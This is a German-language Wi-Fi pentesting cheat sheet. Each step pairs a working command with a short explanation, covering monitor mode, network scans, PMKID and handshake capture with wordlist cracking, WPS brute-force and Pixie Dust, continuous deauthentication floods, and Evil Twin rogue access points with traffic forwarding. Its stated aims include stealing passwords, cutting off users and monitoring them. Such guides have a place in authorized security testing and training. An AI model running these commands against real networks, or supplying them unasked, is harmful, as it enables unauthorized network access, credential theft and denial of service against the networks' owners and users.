Pentesting Wifi
Diese Anleitung beschreibt gängige Methoden, um WLAN-Netzwerke im Rahmen eines Penetrationstests zu prüfen, inklusive Funktionsweise, Zeitpunkt des Einsatzes und warum diese Angriffe durchgeführt werden.
1. Vorbereitungen und Grundlegende Befehle
Bevor ein Angriff möglich ist, muss die Netzwerkkarte für passive und aktive Angriffe konfiguriert werden.
Warum?
Ein Angriff erfordert, dass die Netzwerkkarte im Monitor-Modus arbeitet, um den gesamten WLAN-Verkehr zu erfassen, nicht nur den für den eigenen PC bestimmten.
Befehle und Erklärungen:
$ ip link show # Zeigt verfügbare Netzwerkschnittstellen an, um die richtige Karte auszuwählen.
$ iwconfig # Zeigt Informationen zur aktuellen WLAN-Konfiguration (z. B. ob die Karte im Managed-Modus ist).
$ airmon-ng check kill # Beendet störende Prozesse wie den NetworkManager, die den Monitor-Modus blockieren könnten.
$ airmon-ng start wlan0 # Aktiviert den Monitor-Modus auf der Netzwerkkarte "wlan0".
$ airmon-ng stop wlan0mon # Deaktiviert den Monitor-Modus und setzt die Karte zurück in den Managed-Modus (z. B. für Internetverbindungen).
2. Netzwerkscans
Warum und wann?
Dieser Schritt dient dazu, potenzielle Ziele zu identifizieren, z. B. Netzwerke mit schwacher Verschlüsselung, aktivierte WPS-Funktionen oder eine hohe Client-Dichte. Dies wird immer als erstes gemacht, um die Umgebung zu analysieren.
Befehle und Erklärungen:
$ airodump-ng wlan0mon # Scannt alle Netzwerke im 2,4 GHz-Band und sammelt Informationen wie BSSID, ESSID, Signalstärke, Kanal und verbundene Geräte.
$ airodump-ng wlan0mon --band a # Scannt Netzwerke im 5 GHz-Band, falls Zielgeräte moderne Router nutzen.
$ airodump-ng wlan0mon --wps # Scannt gezielt Netzwerke mit aktivierter WPS-Funktionalität, um diese später für WPS-Angriffe zu nutzen.
3. WPA/WPA2-PSK Angriffe
PMKID-Capture
Wie funktioniert es? Einige moderne Router senden die PMKID (eine Art Schlüssel) automatisch während der ersten Authentifizierung. Dieser Schlüssel kann erfasst und offline gecrackt werden.
Wann? Wenn keine Clients verbunden sind oder keine Handshake-Daten durch Deauthentication erzwungen werden können.
Befehle und Erklärungen:
$ hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1 # Erfasst PMKIDs von Routern, die diese senden.
$ hcxpcaptool -z hashes.txt /tmp/attack.pcap # Extrahiert PMKID-Hashes aus der Datei.
$ hashcat -m 16800 hashes.txt /usr/share/wordlists/rockyou.txt # Knackt den PMKID-Hash mit einer Wordlist wie "rockyou.txt".
Handshake-Capture
Wie funktioniert es? Ein WPA/WPA2-Handshake wird während der Verbindung eines Clients mit einem Access Point ausgetauscht. Dieser kann erfasst und offline gecrackt werden.
Wann? Wenn mindestens ein Client mit dem Zielnetzwerk verbunden ist.
Befehle und Erklärungen:
$ airodump-ng wlan0mon -c <Kanal> --bssid <BSSID> -w /tmp/psk # Überwacht ein Netzwerk und speichert den Handshake.
$ aireplay-ng -0 0 -a <BSSID> wlan0mon # Sendet Deauthentication-Pakete, um Geräte zu trennen und eine erneute Authentifizierung zu erzwingen.
$ aircrack-ng -w /usr/share/wordlists/rockyou.txt -b <BSSID> /tmp/psk*.cap # Knackt den Handshake mit einer Wordlist.
4. WPS-Angriffe
WPS-Bruteforce
Wie funktioniert es? WPS nutzt einen 8-stelligen PIN-Code. Ein Bruteforce-Angriff probiert alle möglichen Kombinationen aus, bis der richtige PIN gefunden wird.
Wann? Wenn WPS im Zielnetzwerk aktiviert ist.
Befehle und Erklärungen:
$ reaver -i wlan0mon -b <BSSID> -c <Kanal> -f -vv # Führt einen Bruteforce-Angriff auf die WPS-PIN durch.
$ bully wlan0mon -b <BSSID> -c <Kanal> -v 3 # Alternative zu Reaver, optimiert für fehlerhafte Implementierungen von WPS.
WPS-Pixie Dust Attacke
Wie funktioniert es? Einige Router generieren schwache Zufallszahlen (Nonces), die offline analysiert werden können, um die WPS-PIN zu berechnen.
Wann? Wenn der Zielrouter anfällig für Pixie Dust ist (spezielle Router-Modelle).
Befehle und Erklärungen:
$ reaver -i wlan0mon -b <BSSID> -K 1 -vv # Führt einen Pixie Dust Angriff durch.
$ bully wlan0mon -b <BSSID> -d -v 3 # Alternative Durchführung des Pixie Dust Angriffs.
5. Deauthentication-Angriffe
Wie funktioniert es?
Deauthentication-Angriffe trennen Geräte vom Netzwerk, indem gefälschte Management-Pakete gesendet werden. Dies kann genutzt werden, um Handshakes zu erzwingen oder Netzwerke unbrauchbar zu machen.
Wann?
Um Handshakes zu erzwingen.
Um Benutzer dazu zu bringen, sich mit einem Rogue Access Point zu verbinden (z. B. Evil Twin).
Befehl und Erklärung:
$ aireplay-ng -0 0 -a <BSSID> wlan0mon # Sendet kontinuierlich Deauthentication-Pakete an alle Geräte, die mit dem Access Point verbunden sind.
6. Evil Twin Angriffe
Wie funktioniert es?
Ein Rogue Access Point (Evil Twin) imitiert das Zielnetzwerk, um Daten abzufangen oder Benutzeranmeldedaten zu stehlen.
Wann?
Um Passwörter zu stehlen (z. B. durch ein Captive Portal).
Um Benutzer zu überwachen oder zu täuschen.
Befehle und Erklärungen:
Einfacher Evil Twin:
$ airbase-ng -a <BSSID> --essid "<SSID>" -c <Kanal> wlan0mon # Erstellt einen Rogue Access Point mit der Ziel-SSID.
WPA/2 Evil Twin mit Authentifizierung:
$ ./eaphammer -i wlan0 --essid exampleCorp --auth wpa-psk --wpa-passphrase "<Passwort>" # Erstellt einen Evil Twin mit WPA2-Authentifizierung.
Verkehr umleiten:
$ iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE # Aktiviert NAT, um Traffic weiterzuleiten. $ iptables --append FORWARD --in-interface wlan0 -j ACCEPT # Erlaubt den Weiterleitungsverkehr. $ echo 1 > /proc/sys/net/ipv4/ip_forward # Aktiviert IP-Forwarding.
Zusammenfassung: Wann welchen Angriff durchführen?
Angriff
Wann anwenden?
Netzwerkscan
Immer zu Beginn, um Ziele und ihre Eigenschaften zu identifizieren.
PMKID-Capture
Wenn keine Clients verbunden sind oder schnelles Passwort-Cracking erforderlich ist.
Handshake-Capture
Wenn Clients verbunden sind und WPA/WPA2-Passwörter geknackt werden sollen.
WPS-Bruteforce
Wenn WPS aktiviert ist und schnelle Ergebnisse erzielt werden können.
Deauthentication
Um Geräte zu trennen, Handshakes zu erzwingen oder Benutzer zu Rogue APs zu locken.
Evil Twin
Um Daten abzufangen, Anmeldedaten zu stehlen oder Benutzeraktivitäten zu überwachen.
Last updated